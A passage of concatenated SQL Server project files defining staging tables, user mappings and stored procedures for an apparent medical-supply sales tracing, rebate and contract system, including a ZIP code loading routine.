[MedlineCon] NVARCHAR (255) NULL,
[VendorCont] NVARCHAR (255) NULL,
[GPO ID] NVARCHAR (255) NULL,
[Invoice] FLOAT (53) NULL,
[Line] FLOAT (53) NULL,
[InvoiceDat] FLOAT (53) NULL,
[VendorItm] NVARCHAR (255) NULL,
[MedlineItm] NVARCHAR (255) NULL,
[Material GTIN] NVARCHAR (255) NULL,
[Customer] FLOAT (53) NULL,
[CustName] NVARCHAR (255) NULL,
[CustStreet] NVARCHAR (255) NULL,
[CustCity] NVARCHAR (255) NULL,
[CustState] NVARCHAR (255) NULL,
[CustZipcod] NVARCHAR (255) NULL,
[Sold-To DEA#] NVARCHAR (255) NULL,
[Sold-To GLN] NVARCHAR (255) NULL,
[VendItmDes] NVARCHAR (255) NULL,
[DocType] NVARCHAR (255) NULL,
[Quantity] FLOAT (53) NULL,
[UoM] NVARCHAR (255) NULL,
[Plant] NVARCHAR (255) NULL,
[PlantStreet] NVARCHAR (255) NULL,
[PlantAddress] NVARCHAR (255) NULL,
[AcqCost] FLOAT (53) NULL,
[RebateAmt] FLOAT (53) NULL,
[ContrCost] FLOAT (53) NULL,
[PremiumAmt] FLOAT (53) NULL,
[PremiumPct] FLOAT (53) NULL,
[CondPrcUni] FLOAT (53) NULL,
[CondUnitDo] NVARCHAR (255) NULL,
[ContDisc] FLOAT (53) NULL,
[CustGrp] NVARCHAR (255) NULL,
[Debit Memo] FLOAT (53) NULL,
[ ] NVARCHAR (255) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/Security/NICEPAK_Utkarsh.Gajjar.sql
CREATE USER [NICEPAK\Utkarsh.Gajjar] FOR LOGIN [NICEPAK\Utkarsh.Gajjar];
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/DDI_DDS.sql
CREATE TABLE [STAGE].[DDI_DDS] (
[SourceNum] VARCHAR (500) NULL,
[SalesPeriod] VARCHAR (500) NULL,
[Year] VARCHAR (500) NULL,
[DistCoID] VARCHAR (500) NULL,
[DistID] VARCHAR (500) NULL,
[DistName] VARCHAR (500) NULL,
[CoItemID] VARCHAR (500) NULL,
[CoItemUOM] VARCHAR (500) NULL,
[CoQtySold] VARCHAR (500) NULL,
[CoItemCost] VARCHAR (500) NULL,
[CoTotalSalesAmnt] VARCHAR (500) NULL,
[CoContID] VARCHAR (500) NULL,
[CoTotalRebate] VARCHAR (500) NULL,
[CoListPrice] VARCHAR (500) NULL,
[CoAcctID] VARCHAR (500) NULL,
[CoAcctType] VARCHAR (500) NULL,
[CoAcctShipName] VARCHAR (500) NULL,
[CoAcctShipAddr1] VARCHAR (500) NULL,
[CoAcctShipAddr2] VARCHAR (500) NULL,
[CoAcctShipAddr3] VARCHAR (500) NULL,
[CoAcctShipCity] VARCHAR (500) NULL,
[CoAcctShipState] VARCHAR (500) NULL,
[CoAcctShipZip] VARCHAR (500) NULL,
[TSM] VARCHAR (500) NULL,
[RD] VARCHAR (500) NULL,
[CoAcctShipCountry] VARCHAR (500) NULL,
[CoAcctMAX] VARCHAR (500) NULL,
[DistAcctID] VARCHAR (500) NULL,
[DistAcctShipName] VARCHAR (500) NULL,
[DistAcctShipAddr1] VARCHAR (500) NULL,
[DistAcctShipAddr2] VARCHAR (500) NULL,
[DistAcctShipCity] VARCHAR (500) NULL,
[DistAcctShipState] VARCHAR (500) NULL,
[DistAcctShipZip] VARCHAR (500) NULL,
[DistDivID] VARCHAR (500) NULL,
[DistInvoiceID] VARCHAR (500) NULL,
[DistInvoiceDate] VARCHAR (500) NULL,
[DistDebitMemoID] VARCHAR (500) NULL,
[DistContID] VARCHAR (500) NULL,
[DistItemID] VARCHAR (500) NULL,
[DistItemUOM] VARCHAR (500) NULL,
[DistQtySold] VARCHAR (500) NULL,
[UomFactor] VARCHAR (500) NULL,
[DistItemCost] VARCHAR (500) NULL,
[DistItemContCost] VARCHAR (500) NULL,
[DistExtendedCost] VARCHAR (500) NULL,
[DistExtendedContCost] VARCHAR (500) NULL,
[DistTotalRebate] VARCHAR (500) NULL,
[SourceFileName] VARCHAR (500) NULL,
[DistAcctBillName] VARCHAR (500) NULL,
[DistAcctBillAddr1] VARCHAR (500) NULL,
[DistAcctBillCity] VARCHAR (500) NULL,
[DistAcctBillState] VARCHAR (500) NULL,
[DistAcctBillZip] VARCHAR (500) NULL,
[DistInvoiceLineNum] VARCHAR (500) NULL,
[DistAcctNum] VARCHAR (500) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/PCM/Tables/PCM_WORKFLOW.sql
CREATE TABLE [PCM].[PCM_WORKFLOW] (
[WFL_ID] INT NULL,
[WFL_ORD] INT NULL,
[WFL_NM] VARCHAR (24) NULL,
[WFL_DESC] VARCHAR (50) NULL,
[ACTIVE_IN] CHAR (1) NULL,
[CREAT_TS] DATETIME NULL,
[LAST_MOD_TS] DATETIME NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/PDI_Hospital_Affiliated_Physicians.sql
CREATE TABLE [STAGE].[PDI_Hospital_Affiliated_Physicians] (
[PRIMARY_AFFILIATION_HOSPITAL_ID] VARCHAR (MAX) NULL,
[PRIMARY_AFFILIATION_HOSPITAL_NAME] VARCHAR (MAX) NULL,
[NPI] INT NULL,
[FIRST_NAME] VARCHAR (MAX) NULL,
[LAST_NAME] VARCHAR (MAX) NULL,
[HQ_CITY] VARCHAR (MAX) NULL,
[HQ_STATE] VARCHAR (MAX) NULL,
[HQ_PHONE] VARCHAR (MAX) NULL,
[SPECIALTY_PRIMARY] VARCHAR (MAX) NULL,
[MEDICARE_CLAIMS] VARCHAR (MAX) NULL,
[MEDICARE_CHARGE_AMT] VARCHAR (MAX) NULL,
[MEDICARE_ALLOWED_AMT] VARCHAR (MAX) NULL,
[MEDICARE_PAYMENT_AMT] VARCHAR (MAX) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/TEMP_CROTHALL_DDS.sql
CREATE TABLE [STAGE].[TEMP_CROTHALL_DDS] (
[YR_MN] VARCHAR (6) NULL,
[COACCTID] VARCHAR (20) NULL,
[COACCTMAX] VARCHAR (20) NULL,
[ADDR1] VARCHAR (250) NULL,
[ADDR2] VARCHAR (250) NULL,
[CITY] VARCHAR (50) NULL,
[ST] VARCHAR (2) NULL,
[ZIP] VARCHAR (10) NULL,
[cnt_nr] VARCHAR (30) NULL,
[prod_id] VARCHAR (30) NULL,
[SLS_2018] NUMERIC (38, 2) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/EDI/Tables/EDI_CD.sql
CREATE TABLE [EDI].[EDI_CD] (
[EDI_CD_ID_PK] INT IDENTITY (1, 1) NOT NULL,
[EDI_TRDNG_PRTNRS_ID_FK] INT NULL,
[TP_PDI_ID] VARCHAR (20) NOT NULL,
[TP_EDI_ID] VARCHAR (40) NOT NULL,
[EDI_ID] VARCHAR (10) NOT NULL,
[SEGMENT] VARCHAR (20) NOT NULL,
[PDI_ACTION_CD] INT NOT NULL,
[EDI_HDR_CD] VARCHAR (10) NOT NULL,
[EDI_LIN_CD] VARCHAR (10) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/CNT/Stored Procedures/spGET_NEW_CONTRACT_NUMBER.sql
CREATE PROCEDURE [CNT].[spGET_NEW_CONTRACT_NUMBER]
AS
BEGIN
SET NOCOUNT ON;
SELECT 'CNT'+try_CONVERT(VARCHAR(10),MAX(try_CONVERT(INT,REPLACE(CNT_NR,'CNT','')))+1) AS NEW_CNT_NR FROM [CNT_DEV].[CONTRACT] WHERE CNT_NR like 'CNT%'
END
<file_sep>/PDI_SALESTRACING_DEV/CMPNY/Tables/COMPANY.sql
CREATE TABLE [CMPNY].[COMPANY] (
[CMPNY_ID] INT IDENTITY (7000001, 1) NOT NULL,
[SRC_CMPNY_ID] INT NULL,
[CMPNY_NM] VARCHAR (255) NOT NULL,
[CMPNY_ALT_NM] VARCHAR (255) NULL,
[ALT_NM_TYP] VARCHAR (20) NULL,
[CMPNY_ADDR_1] VARCHAR (255) NULL,
[CMPNY_ADDR_2] VARCHAR (255) NULL,
[CMPNY_CITY] VARCHAR (255) NULL,
[CMPNY_ST] CHAR (2) NULL,
[CMPNY_ZIP] VARCHAR (10) NULL,
[CMPNY_CNTRY] CHAR (3) NULL,
[CMPNY_TYP_ID] SMALLINT NULL,
[CMPNY_CTGRY_ID] SMALLINT NULL,
[CMPNY_SGMNT_ID] SMALLINT NULL,
[CMPNY_SUB_SGMNT_ID] SMALLINT NULL,
[COMPANY_URL] VARCHAR (255) NULL,
[NPI_NR] VARCHAR (50) NULL,
[GLN_NR] VARCHAR (50) NULL,
[HIN_NR] VARCHAR (50) NULL,
[DEA_NR] VARCHAR (50) NULL,
[DHC_STAT] VARCHAR (40) NULL,
[ISSUE_FLG] VARCHAR (20) NULL,
[SRC_ID] INT NULL,
[REC_EFF_DT] DATE NULL,
[REC_EXP_DT] DATE NULL,
[REC_STAT_IN] CHAR (1) NULL,
[suffix] VARCHAR (20) NULL,
[CMPNY_PRNT_SRC_ID] INT NULL,
[IDN_SRC_ID] INT NULL,
[IDN_PRNT_SRC_ID] INT NULL,
[CMPNY_PRNT_ID] INT NULL,
[IDN_CMPNY_ID] INT NULL,
[IDN_PRNT_CMPNY_ID] INT NULL,
[CUST_IN] CHAR (1) NULL,
[BUYER_INDICATOR] CHAR (1) NULL,
[SALES_12MNTH] DECIMAL (38, 2) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/CNT/Stored Procedures/spUpdateBuyersGroupTiers.sql
-- =============================================
-- Author: <NAME>
-- Create date: 03/28/2019
-- Description: PRICE AUTHORIZATION aggregate
-- =============================================
CREATE PROCEDURE [CNT].[spUpdateBuyersGroupTiers]
@buyers dbo.MemberTiers READONLY
AS
BEGIN
UPDATE p
SET
APPRD_CONTRACT_TIER = b.TierNr
FROM [SNDBX].[PRC_AUTH_EB] p
INNER JOIN @buyers b ON b.MemberNr = P.GPO_MBR_ID
WHERE p.GPO_MBR_ID = b.MemberNr;
END;<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/TEMP_DDI.sql
CREATE TABLE [STAGE].[TEMP_DDI] (
[SALES_PERIOD] VARCHAR (10) NULL,
[DIST_ID] VARCHAR (48) NULL,
[SHPTO_ID] VARCHAR (20) NULL,
[SHPTO_NM] VARCHAR (200) NULL,
[SHPTO_ADDR_1] VARCHAR (100) NULL,
[SHPTO_ADDR_2] VARCHAR (100) NULL,
[SHPTO_CITY] VARCHAR (100) NULL,
[SHPTO_ST] VARCHAR (10) NULL,
[SHPTO_ZIP] VARCHAR (12) NULL,
[UPD_PROD_ID] VARCHAR (48) NULL,
[SALES] FLOAT (53) NULL,
[TERRITORY] VARCHAR (200) NULL,
[UPD_ADDR_1] VARCHAR (200) NULL,
[UPD_ADDR_2] VARCHAR (200) NULL,
[UPD_ZIP] CHAR (5) NULL,
[UPD_ST] CHAR (2) NULL,
[PROD_DESC] VARCHAR (200) NULL,
[ID] INT IDENTITY (1, 1) NOT NULL,
[UPD_CITY] VARCHAR (200) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/PDI_LTC_HHA_Overview.sql
CREATE TABLE [STG0].[PDI_LTC_HHA_Overview] (
[HOSPITAL_ID] VARCHAR (MAX) NULL,
[HOSPITAL_NAME] VARCHAR (MAX) NULL,
[PROVIDER_NUMBER] VARCHAR (MAX) NULL,
[FIRM_TYPE] VARCHAR (MAX) NULL,
[HQ_ADDRESS] VARCHAR (MAX) NULL,
[HQ_ADDRESS1] VARCHAR (MAX) NULL,
[HQ_CITY] VARCHAR (MAX) NULL,
[HQ_STATE] VARCHAR (MAX) NULL,
[HQ_ZIP_CODE] VARCHAR (MAX) NULL,
[HQ_COUNTY] VARCHAR (MAX) NULL,
[HQ_LATITUDE] VARCHAR (MAX) NULL,
[HQ_LONGITUDE] VARCHAR (MAX) NULL,
[CBSA_CODE] VARCHAR (MAX) NULL,
[CBSA_POPULATION_EST_MOST_RECENT] VARCHAR (MAX) NULL,
[CBSA_POPULATION_GROWTH_MOST_RECENT] VARCHAR (MAX) NULL,
[WEBSITE] VARCHAR (MAX) NULL,
[TYPE_OF_OWNERSHIP] VARCHAR (MAX) NULL,
[DATE_CERTIFIED] VARCHAR (MAX) NULL,
[ACCREDITATION_AGENCY] VARCHAR (MAX) NULL,
[BPCI_MODEL] VARCHAR (MAX) NULL,
[CRM_INTEGRATION_LINK] VARCHAR (MAX) NULL,
[NPI_NUMBER] VARCHAR (MAX) NULL,
[FINANCIAL_DATA_DATE] VARCHAR (MAX) NULL,
[DATE_FISCAL_YEAR_END] VARCHAR (MAX) NULL,
[FINANCIAL_DATA_DATE_BEGIN] VARCHAR (MAX) NULL,
[TOT_PATIENT_REVENUE] VARCHAR (MAX) NULL,
[PATIENT_DISCOUNTS] VARCHAR (MAX) NULL,
[NET_PATIENT_REVENUE] VARCHAR (MAX) NULL,
[PCT_PATIENT_DISCOUNTS] VARCHAR (MAX) NULL,
[NET_OPERATING_MARGIN] VARCHAR (MAX) NULL,
[TOTAL_REVENUE] VARCHAR (MAX) NULL,
[TOT_SALARIES] VARCHAR (MAX) NULL,
[TOT_OPERATING_EXPENSES] VARCHAR (MAX) NULL,
[TOT_EMPL_BENE_COSTS] VARCHAR (MAX) NULL,
[TOT_COSTS_OTHER] VARCHAR (MAX) NULL,
[TOT_COSTS] VARCHAR (MAX) NULL,
[OPERATING_INCOME] VARCHAR (MAX) NULL,
[TOT_OTHER_INCOME] VARCHAR (MAX) NULL,
[NET_INCOME] VARCHAR (MAX) NULL,
[NET_INCOME_MARGIN] VARCHAR (MAX) NULL,
[CASH_ON_HAND] VARCHAR (MAX) NULL,
[TEMP_INVESTMENTS] VARCHAR (MAX) NULL,
[ACCOUNTS_RECEIVABLE] VARCHAR (MAX) NULL,
[DAYS_SALES_OUTSTANDING] VARCHAR (MAX) NULL,
[ALLOWANCES_FOR_UNCOLLECTIBLE] VARCHAR (MAX) NULL,
[TOT_CURRENT_ASSETS] VARCHAR (MAX) NULL,
[TOT_FIXED_ASSETS] VARCHAR (MAX) NULL,
[TOT_OTHER_ASSETS] VARCHAR (MAX) NULL,
[TOT_ASSETS] VARCHAR (MAX) NULL,
[TOT_CURRENT_LIABILITIES] VARCHAR (MAX) NULL,
[LONG_TERM_LIABILTIES] VARCHAR (MAX) NULL,
[TOT_LIABILITIES] VARCHAR (MAX) NULL,
[GENERAL_FIND_BALANCE] VARCHAR (MAX) NULL,
[TOT_LIABILITIES_FUND_BALANCE] VARCHAR (MAX) NULL,
[TOT_FUND_BALANCE] VARCHAR (MAX) NULL,
[LIABILITIES_FUND_BALANCE] VARCHAR (MAX) NULL,
[CURRENT_RATIO] VARCHAR (MAX) NULL,
[DEBT_TO_EQUITY_RATIO] VARCHAR (MAX) NULL,
[TOTAL_VISITS] VARCHAR (MAX) NULL,
[MEDICARE_VISITS] VARCHAR (MAX) NULL,
[CURRENT_MEDICARE_COST_YEAR] VARCHAR (MAX) NULL,
[OTHER_VISITS] VARCHAR (MAX) NULL,
[TOTAL_PATIENTS] VARCHAR (MAX) NULL,
[MEDICARE_PATIENTS] VARCHAR (MAX) NULL,
[OTHER_PATIENTS] VARCHAR (MAX) NULL,
[PATIENT_TRANSPORTATION] VARCHAR (MAX) NULL,
[TOTAL_CONTRACT_LABOR] VARCHAR (MAX) NULL,
[STAR_RATING] VARCHAR (MAX) NULL,
[SUMMARY_STAR] VARCHAR (MAX) NULL,
[NUMBER_EMPLOYEES] VARCHAR (MAX) NULL,
[NUM_REGISTERED_NURSES] VARCHAR (MAX) NULL,
[NETWORK_ID] VARCHAR (MAX) NULL,
[NETWORK_NAME] VARCHAR (MAX) NULL,
[NETWORK_PARENT_ID] VARCHAR (MAX) NULL,
[HOSPITAL_PARENT_ID] VARCHAR (MAX) NULL,
[NETWORK_PARENT_NAME] VARCHAR (MAX) NULL,
[HOSPITAL_PARENT_NAME] VARCHAR (MAX) NULL,
[RELATED_TO_HOSPITAL] VARCHAR (MAX) NULL,
[RELATED_TO_ASC] VARCHAR (MAX) NULL,
[RELATED_TO_PG] VARCHAR (MAX) NULL,
[RELATED_TO_IMAGING] VARCHAR (MAX) NULL,
[RELATED_TO_SNF] VARCHAR (MAX) NULL,
[RELATED_TO_HHA] VARCHAR (MAX) NULL,
[RELATED_TO_HOSPICE] VARCHAR (MAX) NULL,
[RELATED_TO_PAYOR] VARCHAR (MAX) NULL,
[ACO_NAME_FOR_EXPORT] VARCHAR (MAX) NULL,
[HIE_AFFILIATIONS] VARCHAR (MAX) NULL,
[CIN_AFFILIATIONS] VARCHAR (MAX) NULL,
[NUMBER_HOSPITALS] VARCHAR (MAX) NULL,
[PG_PARENT_ID] VARCHAR (MAX) NULL,
[SF_PARENT_ACCOUNT_ID] VARCHAR (MAX) NULL,
[SF_PARENT_ACCOUNT_NAME] VARCHAR (MAX) NULL,
[CURRENT_TIMESTAMP] DATETIME DEFAULT (getdate()) NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/SALES_TRACING_CURR_MEDLINE_RBT.sql
CREATE TABLE [STAGE].[SALES_TRACING_CURR_MEDLINE_RBT] (
[YEAR] CHAR (4) NULL,
[DAY] CHAR (2) NULL,
[SALES_PERIOD] VARCHAR (10) NULL,
[RPT_DT] INT NULL,
[DIST_ID] VARCHAR (48) NULL,
[DIST_NR] VARCHAR (15) NULL,
[TRC_TRNS_TYP] CHAR (2) NULL,
[TRC_CNT_ID] VARCHAR (30) NULL,
[TRC_PROD_ID] VARCHAR (48) NULL,
[MNTH] CHAR (2) NULL,
[TRC_PRC_TYP] CHAR (4) NULL,
[INV_ID] VARCHAR (30) NULL,
[INV_DT] DATE NULL,
[INV_DT_NR] INT NULL,
[TRC_UNIT] CHAR (3) NULL,
[TRC_UPD_UNIT] CHAR (2) NULL,
[TRC_QTY_SLD] FLOAT (53) NULL,
[TRC_CNT_PRC] FLOAT (53) NULL,
[TRC_LIST_PRC] FLOAT (53) NULL,
[TRC_DIST_PRC] FLOAT (53) NULL,
[TRC_RBT_AMT] FLOAT (53) NULL,
[TRC_SALES_AMT] FLOAT (53) NULL,
[TRC_EXT_LIST_COST] FLOAT (53) NULL,
[TRC_EXT_CNT_COST] FLOAT (53) NULL,
[TRC_EXT_RBT_AMT] FLOAT (53) NULL,
[TRC_CS_PRC] FLOAT (53) NULL,
[LINE_NR] SMALLINT NULL,
[SHPTO_ID] VARCHAR (20) NULL,
[SHPTO_NM] VARCHAR (200) NULL,
[SHPTO_ADDR_1] VARCHAR (100) NULL,
[SHPTO_ADDR_2] VARCHAR (100) NULL,
[SHPTO_CITY] VARCHAR (100) NULL,
[SHPTO_ST] VARCHAR (10) NULL,
[SHPTO_ZIP] VARCHAR (12) NULL,
[SHPTO_TYP] VARCHAR (100) NULL,
[BILLTO_ID] VARCHAR (20) NULL,
[BILLTO_NM] VARCHAR (200) NULL,
[BILLTO_ADDR_1] VARCHAR (150) NULL,
[BILLTO_ADDR_2] VARCHAR (150) NULL,
[BILLTO_CITY] VARCHAR (100) NULL,
[BILLTO_ST] VARCHAR (10) NULL,
[BILLTO_ZIP] VARCHAR (12) NULL,
[BILLTO_TYP] VARCHAR (100) NULL,
[DBT_MEMO] VARCHAR (40) NULL,
[CURRENT TIMESTAMP] VARCHAR (50) NOT NULL,
[UPD_CNT_ID] VARCHAR (30) NULL,
[UPD_PROD_ID] VARCHAR (48) NULL,
[CNT_EXP_DT] DATE NULL,
[UPD_CS_QTY] FLOAT (53) NULL,
[UPD_CS_PRC] FLOAT (53) NULL,
[UPD_SALES_AMT] FLOAT (53) NULL,
[UPD_RBT_AMT] FLOAT (53) NULL,
[UPD_PRC_TYP] CHAR (4) NULL,
[TRC_UPD_CS_PRC] FLOAT (53) NULL,
[ERR_CD] VARCHAR (40) NULL,
[INV_DT_IN] CHAR (1) NULL,
[CNT_EXP_DAYS] SMALLINT NULL,
[SLS_CALC_STAT] CHAR (1) NULL,
[RBT_LIST_PRC] FLOAT (53) NULL,
[RBT_CNT_ID] VARCHAR (30) NULL,
[RBT_STAT_CD] CHAR (3) NULL,
[RBT_PRC_TYP] CHAR (4) NULL,
[RBT_CALC_STAT] CHAR (1) NULL,
[RBT_VAR] FLOAT (53) NULL,
[CAPRC] FLOAT (53) NULL,
[DIPRC] FLOAT (53) NULL,
[CTPRC] FLOAT (53) NULL,
[EDIDTLSEQ] INT NULL,
[EDISDTLSEQ] INT NULL,
[SRC_FILE_TYP] CHAR (3) NULL,
[CNT_CS_PRC] FLOAT (53) NULL,
[DIST_CS_PRC] FLOAT (53) NULL,
[DIST_EXP_DT] INT NULL,
[TRC_CNT_EXP_DT] DATE NULL,
[TRC_PROD_DESC] VARCHAR (255) NULL,
[LOAD_ID] INT NULL,
[Vendor] VARCHAR (255) NULL,
[MedlineCon] VARCHAR (255) NULL,
[GpoId] VARCHAR (50) NULL,
[MedlineItm] VARCHAR (50) NULL,
[Material GTIN] VARCHAR (50) NULL,
[Sold-To DEA#] VARCHAR (50) NULL,
[Sold-To GLN] VARCHAR (50) NULL,
[DocType] VARCHAR (10) NULL,
[Plant] VARCHAR (255) NULL,
[PlantStreet] VARCHAR (255) NULL,
[PlantAddress] VARCHAR (255) NULL,
[PremiumAmt] VARCHAR (255) NULL,
[PremiumPct] VARCHAR (50) NULL,
[CondPrcUni] VARCHAR (50) NULL,
[CondUnitDo] VARCHAR (50) NULL,
[ContDisc] VARCHAR (50) NULL,
[CustGrp] VARCHAR (50) NULL,
[PDI Denied Rebate] VARCHAR (50) NULL,
[PDI Comments] VARCHAR (50) NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/EDI845_TRANSFER_TMPLT.sql
CREATE TABLE [STG0].[EDI845_TRANSFER_TMPLT] (
[Transfer ID] INT NULL,
[MF Contract Number] VARCHAR (20) NOT NULL,
[Contract Status Code] CHAR (2) NULL,
[Buyer Group Contract Number] VARCHAR (20) NULL,
[MF Contract Name] VARCHAR (50) NULL,
[Previous Contract Number] VARCHAR (20) NULL,
[Contract Effective Date] INT NULL,
[Contract Expiration Date] INT NULL,
[Replaced Contract Expiration Date] INT NULL,
[Contract Tier Number] INT NULL,
[Buyer Group Name] VARCHAR (60) NULL,
[Eligible Buyer Name] VARCHAR (60) NULL,
[Manufacturer Name] VARCHAR (60) NULL,
[Buyer Group HIN] VARCHAR (60) NULL,
[Manufacturer HIN] VARCHAR (60) NULL,
[Eligible Buyer Account Number] VARCHAR (60) NULL,
[Eligible Buyer GPO Account Number] VARCHAR (60) NULL,
[Eligible Buyer Address 1] VARCHAR (100) NULL,
[Eligible Buyer Address 2] VARCHAR (100) NULL,
[Eligible Buyer City] VARCHAR (50) NULL,
[Eligible Buyer State] VARCHAR (10) NULL,
[Eligible Buyer Zip] VARCHAR (10) NULL,
[Eligible Buyer Country Code] CHAR (3) NULL,
[Update Reason Code] VARCHAR (10) NULL,
[Eligible Buyer Effective Date] INT NULL,
[Eligible Buyer Expiration Date] INT NULL,
[Item Update Type Code] VARCHAR (10) NULL,
[Item Description] VARCHAR (50) NULL,
[Manufacturers Item ID] VARCHAR (20) NULL,
[Contract Unit Price] DECIMAL (18, 2) NULL,
[Quantity Information] INT NULL,
[Unit of Measure] CHAR (2) NULL,
[Product Effective Date] INT NULL,
[Product Expiration Date] INT NULL,
[SRC_REC_LST_MOD_DTTM_NR] BIGINT NULL,
[PDI Action Code] INT NOT NULL,
[Current Timestamp] DATETIME NULL,
[Orig Contract Expiration Date] INT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STAGE/Stored Procedures/spLOAD_ZIP_DATA.sql
CREATE PROCEDURE [STAGE].[spLOAD_ZIP_DATA]
WITH EXEC AS CALLER
AS
BEGIN
-- update govrnment table with latitude, longitude
UPDATE Z1 SET
Z1.Lat = Z2.Latitude ,
Z1.[Long] = Z2.Longitude
FROM STG0.ZIP_CODE Z1
JOIN STG0.zip_code_v2 Z2 ON Z1.Zipcode = Z2.ZipCode
WHERE Z2.Latitude > 0;
INSERT INTO STG0.ZIP_CODE ( Zipcode, ZipCodeType, City, State, LocationType, Lat, [Long], Country)
SELECT DISTINCT Z2.ZipCode, 'STANDARD', Z2.City, Z2.State, 'PRIMARY', Z2.Latitude, Z2.Longitude, 'US'
FROM STG0.zip_code_v2 Z2
JOIN REF.STATE_LIST S ON Z2.State = S.ST AND S.ST_TYP = 'STATE'
LEFT JOIN STG0.ZIP_CODE Z1 ON Z2.ZipCode = Z1.Zipcode
WHERE Z1.Zipcode IS NULL
AND Z2.City NOT IN ('PARCEL RETURN SERVICE','NORTH POLE');
UPDATE STG0.ZIP_CODE SET LAT = 27.2675,[Long] =82.4835WHERE Zipcode ='34249';
UPDATE STG0.ZIP_CODE SET LAT = 33.1401,[Long] =96.8967WHERE Zipcode ='75036';
UPDATE STG0.ZIP_CODE SET LAT = 37.9811,[Long] =121.3084WHERE Zipcode ='95214';
UPDATE STG0.ZIP_CODE SET LAT = 44.8929,[Long] =92.9083WHERE Zipcode ='55131';
UPDATE STG0.ZIP_CODE SET LAT = 34.0274,[Long] =118.3886WHERE Zipcode ='90134';
UPDATE STG0.ZIP_CODE SET LAT = 33.3985,[Long] =86.8364WHERE Zipcode ='35270';
UPDATE STG0.ZIP_CODE SET LAT = 36.3119,[Long] =94.2756WHERE Zipcode ='72713';
UPDATE STG0.ZIP_CODE SET LAT = 48.1335,[Long] =103.6335WHERE Zipcode ='58803';
UPDATE STG0.ZIP_CODE SET LAT = 32.9148,[Long] =97.072WHERE Zipcode ='75059';
UPDATE STG0.ZIP_CODE SET LAT = 33.1858,[Long] =96.6839WHERE Zipcode ='75072';
UPDATE STG0.ZIP_CODE SET LAT = 36.5048,[Long] =92.9835WHERE Zipcode ='72643';
UPDATE STG0.ZIP_CODE SET LAT = 32.9409,[Long] =96.9549WHERE Zipcode ='75064';
UPDATE STG0.ZIP_CODE SET LAT = 35.8375,[Long] =106.349WHERE Zipcode ='87547';
UPDATE STG0.ZIP_CODE SET LAT = 39.7439,[Long] =86.1618WHERE Zipcode ='46288';
UPDATE STG0.ZIP_CODE SET LAT = 39.491,[Long] =119.6378WHERE Zipcode ='89437';
INSERT INTO STG0.ZIP_CODE ( Zipcode, ZipCodeType, City, State, LocationType, Lat, [Long], Country)
SELECT DISTINCT Z2.ZipCode, 'STANDARD', Z2.City, Z2.State, 'ACCEPTABLE', Z2.Latitude, Z2.Longitude, 'US'
FROM STG0.zip_code_v2 Z2
JOIN REF.STATE_LIST S ON Z2.State = S.ST AND S.ST_TYP = 'STATE'
LEFT JOIN STG0.ZIP_CODE Z1 ON Z2.City = Z1.city
WHERE Z1.city IS NULL
AND Z2.City NOT IN ('PARCEL RETURN SERVICE','NORTH POLE');
-- Finally load to reference table
TRUNCATE TABLE REF.ZIP_CODE;
INSERT INTO REF.ZIP_CODE ( Zipcode, City, State, Latitude, Longitude, ZipCodeType, LocationType, TaxReturnsFiled, EstimatedPopulation, TotalWages)
SELECT
Zipcode, City, State, TRY_CONVERT(DECIMAL(28,10),Lat) LAT, TRY_CONVERT(DECIMAL(28,10),[Long]), ZipCodeType, LocationType, CONVERT(INT,TaxReturnsFiled), TRY_CONVERT(INT,EstimatedPopulation), TRY_CONVERT(INT,TotalWages)
FROM STG0.ZIP_CODE Z
JOIN REF.STATE_LIST S ON Z.State = S.ST AND S.ST_TYP = 'STATE';
END;<file_sep>/PDI_SALESTRACING_DEV/STAGE/Tables/TEMP_DHC_CO_ID.sql
CREATE TABLE [STAGE].[TEMP_DHC_CO_ID] (
[DHC_CO_ID] INT NOT NULL
);
<file_sep>/PDI_SALESTRACING_DEV/STG0/Tables/PDI_ASC_Overview.sql
CREATE TABLE [STG0].[PDI_ASC_Overview] (
[HOSPITAL_ID] VARCHAR (MAX) NULL,
[HOSPITAL_NAME] VARCHAR (MAX) NULL,
[PROVIDER_NUMBER] VARCHAR (MAX) NULL,
[NPI_NUMBER] VARCHAR (MAX) NULL,
[FIRM_TYPE] VARCHAR (MAX) NULL,
[HQ_ADDRESS] VARCHAR (MAX) NULL,
[HQ_ADDRESS1] VARCHAR (MAX) NULL,
[HQ_CITY] VARCHAR (MAX) NULL,
[HQ_STATE] VARCHAR (MAX) NULL,
[HQ_ZIP_CODE] VARCHAR (MAX) NULL,
[HQ_PHONE] VARCHAR (MAX) NULL,
[HQ_REGION] VARCHAR (MAX) NULL,
[HQ_LATITUDE] VARCHAR (MAX) NULL,
[HQ_LONGITUDE] VARCHAR (MAX) NULL,
[HQ_COUNTY] VARCHAR (MAX) NULL,
[FIPS] VARCHAR (MAX) NULL,
[EMRA] VARCHAR (MAX) NULL,
[CBSA_CODE] VARCHAR (MAX) NULL,
[CBSA_POPULATION_EST_MOST_RECENT] VARCHAR (MAX) NULL,
[CBSA_POPULATION_GROWTH_MOST_RECENT] VARCHAR (MAX) NULL,
[WEBSITE] VARCHAR (MAX) NULL,
[CRM_INTEGRATION_LINK] VARCHAR (MAX) NULL,
[NUMBER_OPERATING_ROOMS] VARCHAR (MAX) NULL,
[ACCREDITATION_AGENCY] VARCHAR (MAX) NULL,
[COMPANY_STATUS] VARCHAR (MAX) NULL,
[GEOGRAPHIC_CLASSIFICATION] VARCHAR (MAX) NULL,
[GLN] VARCHAR (MAX) NULL,
[HIN] VARCHAR (MAX) NULL,
[TOTAL_CHARGES] VARCHAR (MAX) NULL,
[NUMBER_CLAIMS] VARCHAR (MAX) NULL,
[CHARGE_PER_CLAIM] VARCHAR (MAX) NULL,
[CHARGE_PER_CLAIM_STATE] VARCHAR (MAX) NULL,
[CHARGE_PER_CLAIM_NATIONAL] VARCHAR (MAX) NULL,
[NETWORK_ID] VARCHAR (MAX) NULL,
